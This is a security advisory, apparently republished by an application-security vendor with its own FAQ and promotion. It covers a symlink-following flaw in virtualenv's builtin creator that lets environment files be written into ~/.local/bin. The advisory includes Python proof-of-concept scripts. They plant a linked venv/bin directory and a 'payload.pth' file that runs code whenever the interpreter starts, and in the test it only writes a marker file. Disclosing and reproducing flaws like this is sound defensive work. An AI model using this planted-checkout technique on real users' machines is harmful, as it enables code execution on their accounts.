Summary
virtualenv: Builtin creation follows linked environment directories
The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.
Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Directory preparation before environment files are created.
Attacker-controlled input
Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user
must have access to the linked destination. This does not require write access to the target itself under the other
account.
Affected code
The relevant 21.14.8 source is in
builtin creator,
ensure_dir().
Mechanism
The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing
symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.--clear removes the planted tree first; ordinary creation over a prepared destination reaches it.
Reproduction and evidence
The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree.
With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrotepython*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a laterpip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A
second case began with the bin link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached ~/.local/bin.
The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path
to 20.0.0b1. PR #3429 replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.
Attack sequence
sequenceDiagram
participant A as Prepared destination
participant V as Builtin creator
participant L as venv/bin symlink
participant H as ~/.local/bin
participant U as User
A->>L: point to ../../.local/bin
V->>L: ensure_dir accepts existing directory link
V->>H: write python, pip and activate files through link
V-->>U: creation reports success
U->>H: run pip found on PATH
H->>A: interpreter loads planted .pth
A-->>U: marker created
Reproducer files
The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)
def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
local_bin = home / ".local/bin"
user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
local_bin_before = set(os.listdir(local_bin))
payload_marker = home / "PWNED"
# the attacker's checkout arrives at ~/project
subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
venv = home / "project/venv"
print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
# default options; the flag only keeps the run off the network
subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
written = sorted(set(os.listdir(local_bin)) - local_bin_before)
payload_ran_at_creation = payload_marker.exists()
print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}")
print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
# later, in another folder, the user runs pip
pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
return written, payload_marker.exists() and not payload_ran_at_creation
print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)
# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
repro.d/checkout_with_bin_link.py
import sys
from pathlib import Path
venv = Path(sys.argv[1]) / "venv"
# one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
site_packages = venv / f"lib/python3.{minor}/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
# relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")
repro.d/checkout_with_bin_link_staying_inside.py
import sys
from pathlib import Path
venv = Path(sys.argv[1]) / "venv"
site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
(venv / f"lib/python3.{minor}").symlink_to("py")
# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(venv / "1/.local/bin").mkdir(parents=True)
(venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.
The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.
Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced
link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree
replacement.
Fix: PR #3429.
Known mitigation
Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by
another account.
Affected release
- The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.
Impact
Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation
output; arbitrary attacker-selected file contents are not established.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
CVE-2026-113716 has a CVSS score of 4.5 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (21.14.9); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-113716? CVE-2026-113716 is a medium-severity security vulnerability in virtualenv (pip), affecting versions < 21.14.9. It is fixed in 21.14.9.
- How severe is CVE-2026-113716? CVE-2026-113716 has a CVSS score of 4.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of virtualenv are affected by CVE-2026-113716? virtualenv (pip) versions < 21.14.9 is affected.
- Is there a fix for CVE-2026-113716? Yes. CVE-2026-113716 is fixed in 21.14.9. Upgrade to this version or later.
- Is CVE-2026-113716 exploitable, and should I be worried? Whether CVE-2026-113716 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113716 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113716? Upgrade
virtualenvto 21.14.9 or later.